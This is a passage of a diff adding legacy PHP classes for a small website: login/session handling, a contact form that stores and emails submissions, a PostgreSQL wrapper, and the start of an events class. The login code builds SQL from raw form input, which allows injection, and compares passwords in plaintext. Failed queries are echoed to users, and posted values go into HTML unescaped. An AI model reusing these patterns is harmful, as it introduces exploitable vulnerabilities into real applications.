+ WHERE id = ".$auth['userid'];
+
+ if(!$res = $this->DB->db_exec($query))
+ {
+ echo "failed ->".$query;
+ }
+ $row = pg_fetch_array($res,0);
+ $pCheck = md5($row['password']);
+ if($pCheck != $auth['password'])
+ {
+ session_start();
+ session_destroy();
+ $p = session_get_cookie_params();
+ setcookie(session_name(), "", 0, $p["path"], $p["domain"]);
+ setcookie($this->cookie_name,"",0,"/");
+ if(!$this->login())
+ {
+ $this->failed();
+ }
+ }
+
+ $this->auth = $auth;
+ session_register("auth");
+ setcookie($this->cookie_name,"",time() - 3600,$this->cookie_domain);
+ $sessenc = serialize($auth);
+ setcookie($this->cookie_name,$sessenc,time()+(integer)$this->cookie_exp,$this->cookie_domain);
+ }
+ elseif(!session_is_registered("auth"))
+ {
+ return( false );
+ }
+ else
+ {
+ if($auth['siteid'] != $this->cookie_name)
+ {
+ return( false );
+ }
+ }
+
+
+
+ /* Refresh the perms */
+ $oldperms = $this->auth['perms'];
+ $qs = "SELECT perms
+ FROM ".$this->usertable."
+ WHERE id = ".$auth['userid'];
+
+ if(!$res = pg_exec($this->dbd,$qs))
+ {
+ echo "failed ->".$qs;
+ }
+ $this->auth['perms'] = pg_result($res,0,'perms');
+ if($level)
+ {
+ if($this->auth['perms'] & $level)
+ {
+ //echo "GOOD";
+ }
+ else
+ {
+ $this->failed("You cannot see this page(Not enough Permissions)");
+ }
+ }
+ return( true );
+ }
+
+ /** login
+ User login funtcion. Now this will check for a cookie
+ which can be set if the user selects remember my login.
+ @return boolean - True if login in successful False not.
+ */
+ function login()
+ {
+ global $auth,$remember_login,$bus_name;
+
+ if( isset( $_POST['username'] ) && $_POST['username'] != "" )
+ {
+ $qs = "SELECT *
+ FROM ".$this->usertable."
+ WHERE username = '".$_POST['username']."'
+ AND password = '".$_POST['password']."';";
+
+ if(!$res = $this->DB->db_exec($qs))
+ {
+ echo $qs;
+ }
+ if(pg_numrows($res)>0)
+ {
+ $row = pg_fetch_array($res,0,PGSQL_ASSOC);
+ $this->auth['uname'] = $row['fname'].' '.$row['lname'];
+ $this->auth['perms'] = $row['perms'];
+ $this->auth['ip'] = $_SERVER['REMOTE_ADDR'];
+ $this->auth['userid'] = $row['id'];
+ $this->auth['siteid'] = $this->cookie_name;
+ $_SESSION['auth'] =& $this->auth;
+ if( isset( $_POST['remember_login'] ) && $_POST['remember_login'] == "t" )
+ {
+ $sessenc = serialize($auth);
+ setcookie($this->cookie_name,$sessenc,time()+(integer)$this->cookie_exp,$this->cookie_domain);
+ }
+ return(true);
+ }
+ else
+ {
+ session_register("auth");
+ $auth['failed'] = true;
+ return(false);
+ }
+ }
+ else
+ {
+ session_register("auth");
+ $auth['failed'] = true;
+ return(false);
+ }
+ }
+
+ function is_admin()
+ {
+ if( $_SESSION['auth']['admin'] == 't' )
+ {
+ return( true );
+ }
+ else
+ {
+ return( false );
+ }
+ }
+ /** login_screen
+ Outputs the login screen
+ @return void
+ */
+
+ function login_screen()
+ {
+ $out = '<form action="'.$this->page.'" method="post">
+ <table width="400" align="center" summary="Header Information" cellpadding="0" cellspacing="0" border="0">
+ <tr valign=top align=left>
+ <td colspan="2">Forgot your password Click <a href="'.BASE_URL.'forgot.phtml">here</a>.</td>
+ </tr>';
+ if( $this->remember == true )
+ {
+ $out .= '<tr valign=top align=left>
+ <td colspan="2">Remember My Login!<input type="checkbox" name="remember_login" value="t"></td>
+ </tr>';
+ }
+ $out .= '<tr valign=top align=left>
+ <td colspan="2"> </td>
+ </tr>
+ <tr valign=top align=left>
+ <td>Username:</td>
+ <td><input type="text" name="username"
+ value="';
+ if ( isset( $this->auth["uname"] ) )
+ {
+ $out .= $this->auth["uname"];
+ }
+ $out .= '" size=32 maxlength=32></td>
+ </tr>
+ <tr valign=top align=left>
+ <td>Password:</td>
+ <td><input type="password" name="password" size=32 maxlength=32></td>
+ </tr>
+ <tr>
+ <td colspan="2"> </td>
+ <td align="right" colspan="2"><input type="submit" name="submit" value="Login now"></td>
+ </tr>
+ </table>
+ <p>';
+ if ( isset( $_GET['username']) )
+ {
+ $out .= '<!-- failed login code -->
+ <p>
+ <table>
+ <tr>
+ <td colspan=2><font color=red><b>Either your username or your password
+ are invalid.<br>
+ Please try again!</b></font></td>
+ </tr>
+ </table>';
+ }
+ $out .= '</table>
+ </form>
+ <script language="JavaScript">
+ <!--
+ if (document.forms[0][0].value != \'\')
+ {
+ document.forms[0][1].focus();
+ }
+ else
+ {
+ document.forms[0][0].focus();
+ }
+ // -->
+ </script>';
+ return( $out );
+ }
+
+ /** logout
+ Ends the current session and distroys any cookies that were
+ created
+ @return void
+ */
+ function logout()
+ {
+ session_start();
+ session_destroy();
+ $p = session_get_cookie_params();
+ setcookie(session_name(), "", 0, $p["path"], $p["domain"]);
+ setcookie($this->cookie_name,"",0,"/");
+ header("Location: index.phtml");
+ exit();
+ }
+
+ /** failed
+ Stop the script from going any further.
+ @param reply - string to show user if any.
+ @return void
+ */
+ function failed($reply=NULL)
+ {
+ if(isset($reply))
+ {
+ die('<b>'.$reply.'</b>');
+ }
+ else
+ {
+ exit;
+ }
+ }
+}
+
+?>
--- /dev/null
+<?php
+//$Id: class_contact_form.inc,v 1.1.1.1 2006/07/13 13:53:50 matrix Exp $
+include_once("class_db.inc");
+/** @class contact_form.
+ creates a contact form with an updatable fields array.
+ Don't set values in the var part only declare them. If you set them their they will be like
+ defines and cannot be changed. Setup in constructor function then there's no problem.
+ */
+class contact_form {
+ var $DB_fields; // array for the needed fields
+ var $CDB; // database object
+ var $email; // the email address. if blank will not send out
+ var $table_name; // database table name.
+ var $styleLabel; // css style
+ var $fieldcell; // css style
+ var $contact_db; // boolean weather or not they have database
+
+
+ /**
+ * contact_form: constructor
+ *
+ * @return void
+ * @access public
+ **/
+ function contact_form()
+ {
+ $this->CDB =& new GLM_DB(); // creates DB object
+ $this->set_DB_fields(); // set up the DB_fields array (configuration)
+ $this->set_int_array(); // interest array
+ $this->email = OWNER_EMAIL; // email address for mail function
+ $this->table_name = 'contact'; // the contact table
+ $this->styleLabel = "labelcell";// css style for the labelcell
+ $this->fieldcell = "fieldcell"; // css style for the field input
+ $this->styleLabelSmall = "smalllabelcell";// css style for the labelcell
+ $this->fieldcellSmall = "smallfieldcell"; // css style for the field input
+ $this->contact_db = 1; // if they have contact database or not
+ $this->get_form(); // what are we waiting for, do the form stuff
+ }
+
+
+ /**
+ * get_form: one function to rule them all
+ *
+ * @return void
+ * @access
+ **/
+ function get_form()
+ {
+ if( $_POST )
+ {
+ if( $error = $this->form_process() )
+ {
+ echo '<span class="req">Some fields are empty!</span><br>';
+ echo $this->display_form( $error );
+ }
+ }
+ else
+ {
+ echo $this->display_form();
+ }
+ }
+
+
+ /**
+ * set_DB_fields:
+ *
+ * @return
+ * @access
+ **/
+ function set_DB_fields()
+ {
+ $DB_fields[]=array('name'=>'fname', 'title'=>'Name:', 'type' => 'text', 'colspan'=>2,'req'=>1);
+ $DB_fields[]=array('name'=>'title', 'title'=>'Title:', 'type' => 'text', 'colspan'=>2);
+ $DB_fields[]=array('name'=>'company', 'title'=>'Company:', 'type' => 'text', 'colspan'=>2,'req'=>1);
+ $DB_fields[]=array('name'=>'address', 'title'=>'Address 1:', 'type' => 'text', 'colspan'=>2, 'req'=>1);
+ $DB_fields[]=array('name'=>'address2', 'title'=>'Address 2:', 'type' => 'text', 'colspan'=>2);
+ $DB_fields[]=array('name'=>'address3', 'title'=>'Address 3:', 'type' => 'text', 'colspan'=>2);
+ $DB_fields[]=array('name'=>'city', 'title'=>'City:', 'type' => 'text', 'colspan'=>2,'req'=>1);
+ $DB_fields[]=array('name'=>'state', 'title'=> 'State / Province / Region:', 'type' => 'text', 'colspan'=>2,'req'=>1);
+ $DB_fields[]=array('name'=>'zip', 'title' => 'Zip/Postal:', 'type' => 'text', 'colspan'=>2,'req'=>1);
+ $DB_fields[]=array('name'=>'country', 'title' => 'Country:', 'type' => 'country','colspan'=>2,'req'=>1);
+ $DB_fields[]=array('name'=>'phone', 'title' => 'Telephone Number:', 'type' => 'text', 'colspan'=>2);
+ $DB_fields[]=array('name'=>'fax', 'title' => 'Fax Number:', 'type' => 'text', 'colspan'=>2);
+ $DB_fields[]=array('name'=>'email', 'title' => 'Email Address:', 'type' => 'text', 'colspan'=>2,'req'=>1);
+ $DB_fields[]=array('name'=>'contact_method','title' => 'Preferred Contact Method', 'type' => 'radio', 'options'=>'Telephone|E-mail');
+ $DB_fields[]=array('name'=>'comments', 'title' =>'Message', 'type' => 'desc');
+ $DB_fields[]=array('name'=>'mail_ok', 'title' => 'Sign me up for the Newsletter', 'type' => 'checkbox','value'=>'t','colspan'=>4,'checked'=>1);
+
+ $this->DB_fields = &$DB_fields;
+ }
+
+ /**
+ * set_int_array:
+ *
+ * @return
+ * @access
+ **/
+
+ function set_int_array()
+ {
+ $int_array = array(
+ "capital_campaign" => "Capital Campaign Information",
+ "membership" => "Membership Information",
+ "class_registration" => "Class Registration",
+ "ticket_sales" => "Ticket Sales",
+ "no_preference" => "No Preference",
+ );
+ $this->int_array = $int_array;
+ }
+
+
+ /**
+ * interest:
+ * @param $field:
+ *
+ * @return
+ * @access
+ **/
+ function interest($field)
+ {
+ $out .= '<table><tr>';
+ $count = 0;
+ foreach($this->int_array as $key=>$value)
+ {
+ if($count==0)
+ {
+ $out .= '<td>';
+ }
+ $out .= '<input type="checkbox" name="interest[]" value="'.$key.'"';
+ if(strstr($field,$key))
+ {
+ $out .= ' checked';
+ }
+ $out .= '>'.$value.'<br>';
+ if($count==5)
+ {
+ $out .= '</td><td>';
+ }
+ if($count==11)
+ {
+ $out .= '</td>';
+ }
+ $count++;
+ }
+ $out .= "</tr></TABLE>";
+ return( $out );
+ }
+
+
+ /**
+ * display_form: shows the form and any errors in it
+ * @param $error = NULL: error array
+ *
+ * @return string $out
+ * @access public
+ **/
+ function display_form($error=NULL)
+ {
+ if(is_array($_POST))
+ {
+ foreach($_POST as $k=>$v)
+ {
+ $_POST[$k] = trim(stripslashes($v));
+ }
+ }
+ $colcount = 1;
+ $out = "<div id=\"contact\"><form action=\"".$_SERVER['REQUEST_URI']."\" method=\"POST\">";
+ $out .= "<table>";
+ foreach($this->DB_fields as $key=>$value)
+ {
+ switch( $value['type'] )
+ {
+ case "state":
+ if( $value['colspan'] == 2 || $colcount == 1 )
+ {
+ $out .= '<tr>';
+ }
+ if( $value['colspan'] == 1 )
+ {
+ $label = $this->styleLabelSmall;
+ $field = $this->fieldcellSmall;
+ }
+ else
+ {
+ $label = $this->styleLabel;
+ $field = $this->fieldcell;
+ }
+ $out .= '<td colspan="'.$value["colspan"].'" class="'.$label.'" nowrap="nowrap">';
+ if($value['req'])
+ {
+ $out .= '<span class="req">*</span> ';
+ }
+ $out .= $value['title'];
+ //if($value['req'])
+ //{
+ // $out .= '</span>';
+ //}
+ $out .= '</td>
+ <td colspan="'.$value["colspan"].'" class="'.$field.'">';
+ $out .= GLM_TEMPLATE::build_picklist($value['name'],$GLOBALS['states_US'],$_POST['state']);
+ $out .= ( $error[$value['name']] ) ? '<span class="req">Required!</span>' : '';
+ $out .= '</td>';
+ if( $value['colspan'] == 2 || $colcount == 2 )
+ {
+ $out .= '</tr>';
+ }
+ if( $colcount == 2 && $value['colspan'] == 1 )
+ {
+ $colcount = 1;
+ }
+
+ if( $value['colspan'] == 1 )
+ {
+ $colcount++;
+ }
+ break;
+
+ case "country":
+ if( $value['colspan'] == 2 || $colcount == 1 )
+ {
+ $out .= "\n<tr>\n";
+ }
+ if( $value['colspan'] == 1 )
+ {
+ $label = $this->styleLabelSmall;
+ $field = $this->fieldcellSmall;
+ }
+ else
+ {
+ $label = $this->styleLabel;
+ $field = $this->fieldcell;
+ }
+ //$out .= '<tr>';
+
+ $out .= "\n\t".'<td colspan="'.$value['colspan'].'" class="'.$label.'">';
+ if($value['req'])
+ {
+ $out .= '<span class="req">*</span> ';
+ }
+ $out.=$value['title']."</td>";
+
+ $out .= "\n\t".'<td colspan="'.$value['colspan'].'" class="'.$field.'">';
+ $out .= GLM_TEMPLATE::build_picklist($value['name'],$GLOBALS['country_codes'],$_POST['country']);
+ $out .= "</td>\n";
+
+ $out .= '</tr>';
+ break;
+
+ case "text":
+ if( $value['colspan'] == 2 || $colcount == 1 )
+ {
+ $out .= "\n<tr>";
+ }
+ if( $value['colspan'] == 1 )
+ {
+ $label = $this->styleLabelSmall;
+ $field = $this->fieldcellSmall;
+ }
+ else
+ {
+ $label = $this->styleLabel;
+ $field = $this->fieldcell;
+ }
+ $out .= "\n".'<td colspan="'.$value["colspan"].'" class="'.$label.'" nowrap="nowrap">';
+ if($value['req'])
+ {
+ $out .= '<span class="req">*</span> ';
+ }
+ $out .= $value['title'];
+ /*
+ if($value['req'])
+ {
+ $out .= '</span>';
+ }
+ */
+ $out .= '</td>
+ <td colspan="'.$value["colspan"].'" class="'.$field.'">
+ <input id="'.$value["name"].'" name="'.$value["name"].'" value="'.$_POST[$value["name"]].'">';
+ $out .= ( $error[$value['name']] ) ? '<span class="req">Required!</span>' : '';
+ $out .= '</td>';
+ if( $value['colspan'] == 2 || $colcount == 2 )
+ {
+ $out .= "\n</tr>";
+ }
+
+ if( $colcount == 2 && $value['colspan'] == 1 )
+ {
+ $colcount = 1;
+ }
+ if( $value['colspan'] == 1 )
+ {
+ $colcount++;
+ }
+ break;
+
+ case "static":
+ $out .= '<tr><td colspan="'.$value["colspan"].'" class="'.$this->styleLabel.'" align="right">'.$value["title"].'</td>
+ <td colspan="'.$value["colspan"].'" class="'.$this->fieldcell.'">'.$_POST[$value["name"]].'</td>
+ </tr>';
+ break;
+
+ case "interest":
+ $out .= '<tr><td colspan="'.$value["colspan"].'" class="'.$this->styleLabel.'" align="right">'.$value["title"].'</td>
+ <td colspan="'.$value["colspan"].'" class="'.$this->fieldcell.'">'.$this->interest($_POST[$value["name"]]).'</td>
+ </tr>';
+ break;
+
+ case "img":
+ $out .= '<tr></tr>';
+ $out .= '<input type="hidden" name="old'.$value["name"].'" value="'.$_POST[$value["name"]].'">';
+ if($_POST[$value['name']] != "")
+ {
+ $out .= '<tr><td colspan="'.$value["colspan"].'" class="'.$this->styleLabel.'">Current Image:</td>';
+ $out .= '<td colspan="'.$value["colspan"].'" class="'.$this->fieldcell.'"><img src="'.MIDSIZED.$_POST[$value["name"]].'">
+ </td>
+ </tr>
+ <tr>
+ <td colspan="'.$value["colspan"].'" class="'.$this->styleClass.'">Delete this image:</td>
+ <td colspan="'.$value["colspan"].'" class="'.$this->fieldcell.'">
+ <input type="radio" name="delete'.$value["name"].'" value="1">Yes
+ <input type="radio" name="delete'.$value["name"].'" value="2" CHECKED>No
+ </td>
+ </tr>';
+ }
+ $out .= '<tr><td colspan="'.$value["colspan"].'" class="'.$this->styleLabel.'">New '.$value["title"].':</td>';
+ $out .= '<td colspan="'.$value["colspan"].'" class="'.$this->fieldcell.'"><input type="file" name="'.$value["name"].'"></td>';
+ $out .= '</tr>';
+ break;
+
+ case "file":
+ $out .= '<tr></tr>';
+ $out .= '<input type="hidden" name="old'.$value["name"].'" value="'.$_POST[$value["name"]].'">';
+ if($_POST[$value['name']] != "")
+ {
+ $out .= '<tr><td colspan="'.$value["colspan"].'" class="'.$this->styleLabel.'">Current File:</td>';
+ $out .= '<td colspan="'.$value["colspan"].'" class="'.$this->fieldcell.'">'.$_POST[$value["name"]].'
+ </td>
+ </tr>
+ <tr>
+ <td colspan="'.$value["colspan"].'" class="'.$this->styleLabel.'">Delete this File:</td>
+ <td colspan="'.$value["colspan"].'" class="'.$this->fieldcell.'">
+ <input type="radio" name="delete'.$value["name"].'" value="1">Yes
+ <input type="radio" name="delete'.$value["name"].'" value="2" CHECKED>No
+ </td>
+ </tr>';
+ }
+ $out .= '<tr><td colspan="'.$value["colspan"].'" class="'.$this->styleLabel.'">New '.$value["title"].':</td>';
+ $out .= '<td colspan="'.$value["colspan"].'" class="'.$this->fieldcell.'"><input type="file" name="'.$value["name"].'"></td>';
+ $out .= '</tr>';
+ break;
+
+ case "desc":
+ $rows='';
+ $cols='';
+ if($value['rows'])
+ {
+ $rows=' rows="'.$value['rows'].'"';
+ }
+ if($value['cols'])
+ {
+ $cols=' cols="'.$value['cols'].'"';
+ }
+
+ $out .= '<tr><td colspan="4" class="'.$this->fieldcell.'">'.$value[title].':
+ <textarea cols="30" rows="5" name="'.$value["name"].'"'.$rows.$cols.'>'.$_POST[$value["name"]].'</textarea>';
+ $out .= '</tr>';
+ break;
+
+ case "hide":
+ $out .= '<input type="hidden" name="'.$value["title"].'" value="'.$value["val"].'">';
+ break;
+
+ case "checkbox":
+ $out .= '<tr><td colspan="'.$value['colspan'].'">';
+ // build the checkbox
+ if($value['checked']==1)
+ {
+ $cbox = ' checked';
+ }else
+ {
+ $cbox = '';
+ }
+ $out .= '<input type="checkbox" name="'.$value['name'].'" value="'.$value['value'].'"'.$cbox.'> ';
+ $out .= $value['title'];
+ $out .= '</td>';
+ $out .= '</tr>';
+ break;
+
+ case "radio":
+ $out .= '<tr><td colspan="2" class="'.$this->styleLabel.'" nowrap>'.$value[title].':</td>';
+ $rvals = explode("|",$value['options']);
+
+ // check to see if any of these vals is in the post array (did we already submit this form basically)
+
+ if(isset($_POST[$value['name']])) // it's set, so we must have something there
+ {
+ $dvar = $_POST[$value['name']];
+ }else
+ {
+ $dvar = 'notset';
+ }
+
+ $inc = 0;
+
+ foreach($rvals as $rvK => $rvV)
+ {
+ if($dvar != 'notset')
+ {
+ if($dvar == $rvV)
+ {
+ $checked = " checked";
+ }else
+ {
+ $checked = '';
+ }
+ }else
+ {
+ if($inc == 0)
+ {
+ $checked = ' checked';
+ $inc =1;
+ }else
+ {
+ $checked = '';
+ }
+ }
+
+ $rads .= '<input type="radio" name="'.$value['name'].'" value="'.$rvV.'"'.$checked.'> '.$rvV.'<br>'."\n";
+ }
+
+ $out .= '<td colspan="2" class="'.$this->fieldcell.'">';
+ $out.=$rads;
+ $out .= '</td>';
+ $out .= '</tr>';
+ break;
+ }
+ }
+ $out .= '<tr align="center"><td colspan="4"><input type="submit" name="Command" value="Send"></td></tr>';
+ $out .= '</table>';
+ $out .= '</form></div>';
+ return( $out );
+ }
+
+ /**
+ * form_process: process the form checking for any required form values as set up in the
+ * DB_fields array.
+ *
+ * @return error array if bad
+ * @access public
+ **/
+ function form_process()
+ {
+ $ban_words[] = "content-type";
+ $ban_words[] = "content-transfer-encoding";
+ $ban_words[] = "mime-version";
+ $ban_words[] = "cc\:";
+ $ban_words[] = "bcc\:";
+
+ if(is_array($_POST))
+ {
+ foreach($_POST as $k=>$v)
+ {
+ if( !is_array( $v ))
+ {
+ $_POST[$k] = trim(stripslashes($v));
+ }
+ foreach($ban_words as $k => $word)
+ {
+ $wordstr = "/$word/i";
+ if(preg_match($wordstr,$v))
+ {
+ // let's unset the $_POST array
+ foreach( $_POST as $key => $val )
+ {
+ $_POST[$key] = '';
+ }
+ // if we matched, return.
+ return( true );
+ }
+ }
+ }
+ }
+ $in_fields[] = 'create_date';
+ $in_vars[] = date("m-d-Y");
+ foreach($this->DB_fields as $key=>$value)
+ {
+ if($value["req"] == 1 && $_POST[$value["name"]] == "")
+ {
+ $error[$value["name"]] = 1;
+ }
+ if($value['name']!="comments")
+ {
+ // toggle mailok thing
+ if($value['name'] == 'mail_ok')
+ {
+ if($_POST[$value['name']] == '')
+ {
+ $in_vars[] = 'f';
+ }else
+ {
+ $in_vars[] = addslashes(trim($_POST[$value['name']]));
+ }
+ $in_fields[] = $value['name'];
+
+ }else
+ {
+ $in_fields[] = $value['name'];
+ $in_vars[] = addslashes(trim($_POST[$value['name']]));
+ }
+ }
+ }
+ if(count($error) > 0)
+ {
+ return($error);
+ }
+ if(is_array($in_fields))
+ {
+ $infds = implode(",",$in_fields);
+ }
+ if(is_array($in_vars))
+ {
+ $invars = implode("','",$in_vars);
+ }
+ $query = "INSERT INTO ".$this->table_name."
+ ($infds)
+ VALUES
+ ('$invars')";
+ if($this->contact_db)
+ $this->CDB->db_auto_exec($query);
+ // adding comments again
+ $in_fields[] = "comments";
+ $in_vars[] = $_POST['comments'];
+ if($this->email!="")
+ {
+ //mail the contact info to mail address.
+ $body = '';
+ foreach($this->DB_fields as $key=>$value)
+ {
+ if($value['name']=="mail_ok")
+ {
+ $body .= $value['title'].": ";
+ $body .= ($_POST[$value['name']]=="t")?"Yes":"No";
+ $body .= "\n";
+ }
+ elseif($_POST[$value['name']] != '')
+ {
+ $body .= $value['title'].": ".$_POST[$value[name]]."\n";
+ }
+ }
+ $subject = "new contact at ".SITENAME;
+ $headers = "From: <".SITENAME.">".OWNER_EMAIL."\n"
+ . "Reply-To: <".SITENAME.">".REPLY_TO."\n";
+
+ mail($this->email,$subject,$body,$headers);
+ echo '<div style="font-size:14px;">Thank You</div>';
+ }
+ }
+}
+?>
--- /dev/null
+<?php
+// $Id: class_db.inc,v 1.1.1.1 2006/07/13 13:53:50 matrix Exp $
+class GLM_DB
+ {
+ /** @var host database host server name */
+ var $host;
+ /** @var dbname name of the database */
+ var $dbname;
+ /** @var user The user to connect as */
+ var $user;
+ /** @var password The users password if any */
+ var $password;
+ /** @var dbd Database connection result ID# */
+ var $dbd;
+ /** @var conn string postgres connection string default = CONN_STR */
+ var $conn;
+ /** @var trans bool if true a transaction is in process */
+ var $trans;
+ /** @var dbd connection object from postgres */
+ var $dbd;
+ function GLM_DB( $conn = CONN_STR )
+ {
+ $this->host = "";
+ $this->dbname = "";
+ $this->user = "nobody";
+ $this->password = "";
+ $this->conn = $conn;
+ $this->trans = 0;
+ $this->dbd = "";
+ }
+
+ /** db_connect
+ Creates a connection to database specified $conn_str,
+ and returns a boolean for success.
+ @param conn_str Connect String
+ @param fail_mode Failure Mode
+ TRUE = Abort with HTML
+ FALSE = Return with fail code
+ @returns int - Returns an index or fails using html_error() function
+ */
+
+ function db_connect()
+ {
+ if( isset( $this->dbd ) && $this->dbd != "" )
+ {
+ return( $this->dbd );
+ }
+ switch ( DB_TYPE )
+ {
+ case "postgres":
+ if( $this->host == "" && $this->dbname == "" )
+ {
+ $conn = $this->conn;// CONN_STR;
+ }
+ else
+ {
+ $conn .= ( $this->host ) ? 'host='.$this->host.' ' : '';
+ $conn .= ( $this->dbname ) ? 'dbname='.$this->dbname.' ' : '';
+ $conn .= ( $this->user ) ? 'user='.$this->user." " : '';
+ $conn .= ( $this->password ) ? "password=".$this->password : '';
+ }
+ if( !$this->dbd = pg_connect( $conn ) )
+ {
+ echo pg_errormessage( $conn );
+ }
+ break;
+
+ default:
+ return( 0 );
+ break;
+ }
+ return( $this->dbd );
+ }
+ /** db_close
+ Closes the connection to database specified by the handle dbd
+ returns a boolean for success
+ @returns bool - Returns 1 on success 0 if dbd is not a valid connection
+ */
+
+ function db_close()
+ {
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ @pg_close($this->dbd);
+ break;
+ default:
+ return(0);
+ }
+ }
+
+ /** db_exec
+ Execute an SQL query, * returning a valid result index or zero(0) on
+ failure.
+ @param $qs -- SQL query string
+ @returns int Returns a valid result index on success 0 on failure
+ */
+ function db_exec( $qs )
+ {
+ if( !$this->dbd )
+ {
+ $this->dbd = $this->db_connect();
+ }
+ switch ( DB_TYPE )
+ {
+ case "postgres":
+ if(!$ret = pg_exec( $this->dbd, $qs ) )
+ echo "<font color=red>".$qs."</font>";
+ break;
+ default:
+ return( 0 );
+ }
+ return( $ret );
+ }
+
+ /** db_fetch_array
+ Stores the data in associative indices, using the field names as
+ keys.
+ @param $res -- valid database result index
+ @param $i -- row number
+ @param $type -- PGSQL_ASSOC,PGSQL_BOTH,PGSQL_NUM
+ @returns array Returns an associative array of key-value pairs
+ */
+
+ function db_fetch_array( $res, $i, $type )
+ {
+ switch ( DB_TYPE )
+ {
+ case "postgres":
+ $row = pg_fetch_array( $res, $i, $type );
+ break;
+
+ default:
+ return( 0 );
+ }
+ return( $row );
+ }
+
+ /** db_freeresult
+ Free result memory.
+ @param $res -- valid database result index
+ @returns bool - Returns 1 for success 0 for failure
+ */
+
+ function db_freeresult( $res )
+ {
+ switch ( DB_TYPE )
+ {
+ case "postgres":
+ $ret = pg_freeresult( $res );
+ break;
+
+ default:
+ return( 0 );
+ }
+ return( $ret );
+ }
+
+ /** db_numrows
+ Determine number of rows in a result index
+ @param $res -- valid database result index
+ @returns int - Returns number of rows
+ */
+
+ function db_numrows( $res )
+ {
+
+ switch ( DB_TYPE )
+ {
+ case "postgres":
+ $ret = pg_numrows( $res );
+ break;
+
+ default:
+ return( -1 );
+ }
+ return( $ret );
+ }
+ /** db_auto_get_array
+ The auto function for retrieving an array based soley on a query
+ string. This function makes the connection, does the exec, fetches
+ the array, closes the connection, frees memory used by the result,
+ and then returns the array
+ @param $qs SQL query string
+ @param $i row number
+ @param $type PGSQL_ASSOC or PGSQL_BOTH or PSQL_NUM
+ @returns array - Returns an associative array of key-value pairs
+ */
+
+ function db_auto_array( $qs, $i, $type )
+ {
+
+ $dbd = $this->db_connect();
+ if( !$dbd )
+ {
+ return( 0 );
+ }
+ $res = db_exec( $dbd, $qs );
+ if( !$res )
+ {
+ return( 0 );
+ }
+
+ $row = db_fetch_array( $res, $i, $type );
+
+ if(!db_freeresult( $res ) )
+ {
+ return( 0 );
+ }
+
+ return( $row );
+ }
+
+ /** db_auto_exec
+ The auto function for executing a query.
+ This function makes the connection, does the exec, fetches
+ the array, closes the connection, frees memory used by the result,
+ and then returns success (not a valid result index)
+ @param $qs SQL query string
+ @returns int - Returns 1 for success 0 for failure
+ */
+
+ function db_auto_exec( $qs )
+ {
+ $this->db_connect();
+ if( !$this->dbd )
+ {
+ return( 0 );
+ }
+ if( !$this->db_exec( $qs ) )
+ {
+ return( 0 );
+ }
+ else
+ {
+ return( 1 );
+ }
+ }
+ /** db_auto_get_data
+ @discussion The auto function for retrieving an array based soley on a query
+ string. This function makes the connection, does the exec, fetches
+ the array, closes the connection, frees memory used by the result,
+ and then returns the array
+ @param string $qs SQL query string
+ @returns Returns an associative array of key-value pairs or 0 on error
+ */
+
+ function db_auto_get_data( $qs )
+ {
+ if( !$this->dbd )
+ {
+ $this->db_connect();
+ }
+ if( !( $res = $this->db_exec( $qs ) ) )
+ {
+ return( FALSE );
+ }
+ $totalrows = pg_NumRows( $res );
+ for( $i = 0 ; $i < $totalrows ; $i++ )
+ {
+ $data[$i] = $this->db_fetch_array ($res, $i, PGSQL_ASSOC );
+ }
+ if( isset( $data ) && $data != "" )
+ {
+ return( $data );
+ }
+ else
+ {
+ return( 0 );
+ }
+ }
+
+ /** trans_start
+ Start a postgres transaction
+ @returns bool true if sucessful
+ */
+ function trans_start()
+ {
+ if( !$this->trans )
+ {
+ if( !$this->dbd = $this->db_connect() )
+ {
+ $this->trans = false;
+ return( false );
+ }
+ else
+ {
+ $this->db_exec( "BEGIN WORK;" );
+ $this->trans = true;
+ return( true );
+ }
+ }
+ else
+ {
+ return( true );
+ }
+ }
+
+ /** trans_end
+ Commit the postgres transaction
+ @returns bool true if successful
+ */
+ function trans_end()
+ {
+ if( !$this->trans )
+ {
+ if(!$this->db_exec( "COMMIT WORK;" ) )
+ {
+ return( false );
+ }
+ else
+ return( true );
+ }
+ else
+ return( false );
+ }
+ /** trans_exec
+ exec a postgres query in a
+ postgres transaction
+ @param string query
+ */
+ function trans_exec( $query )
+ {
+ if( $query != "" )
+ {
+ if(!$ret = $this->db_exec( $query ) )
+ {
+ $this->db_exec( "ABORT WORK;" );
+ return( false );
+ }
+ else
+ {
+ return( $ret );
+ }
+ }
+ else
+ {
+ return( false );
+ }
+ }
+ }
+?>
--- /dev/null
+<?php
+require_once(BASE.'classes/class_db.inc');
+require_once(BASE.'classes/class_template.inc');
+class GLM_EVENTS extends GLM_TEMPLATE{
+ /** @var int topicid */
+ var $topicid;
+ var $page_name;
+
+ function GLM_EVENTS( $topicid )
+ {
+ parent::GLM_TEMPLATE( $topicid );
+ $this->topicid = $topicid;
+ $this->page_name = $GLOBALS['PHP_SELF'];
+ }
+
+ // date helper funcs
+ function lastDayOfMonth($timestamp = '')
+ {
+ if($timestamp=='') $timestamp=time();
+ return(
+ mktime(0,0,0,
+ date("m",$timestamp)+1,
+ 1,
+ date("Y",$timestamp)
+ )-3600*24);
+ }
+
+ function firstDayOfMonth($timestamp=''){
+ if($timestamp=='') $timestamp=time();
+ return(mktime(0,0,0,
+ date("m",$timestamp),
+ 1,
+ date("Y",$timestamp)
+ ));
+ }
+
+ // end date helper
+
+
+ function get_by_topic($topic)
+ {
+ // method fetches events based on topic id
+
+ if(!$year)
+ {
+ $year = date("Y");
+ }
+ if(!$month || $month == "All")
+ {
+ $month = date("n");
+ }
+ if(ereg("^0([0-9]).*",$month,$part))
+ $month = $part[1];
+ $st = mktime(0,0,0,$month,1,$year);
+ $starting = date("m-d-Y",$this->firstDayOfMonth($st));
+ $ending = date("m-d-Y",$this->lastDayOfMonth($st));
+
+ $query = "SET DATESTYLE TO 'SQL,US';
+ SELECT id,header,
+ date_part('month',bdate) as mon,
+ date_part('day',bdate) as day,
+ date_part('year',bdate) as yr,
+ date_part('month',edate) as mon2,
+ date_part('day',edate) as day2,
+ date_part('year',edate) as yr2,
+ bdate as sdate, edate as edate,
+ btime,etime,descr,loc,contact,email,url,img,daysow,reacur
+ FROM event
+ WHERE visable = 't'";
+
+ $topqs=" AND topicid = $topic ";
+
+ if($topic!='All')
+ {
+ $query.=$topqs;
+ }
+ //$query .= "AND bdate <= '$ending' AND edate >= '$starting' ";
+ $query .= "ORDER BY bdate DESC,btime ASC";
+ $events_data = $this->DB->db_auto_get_data($query);
+ return $events_data;
+ }
+
+ /**
+ * getEventSearch:
+ *
+ * @return
+ * @access
+ **/
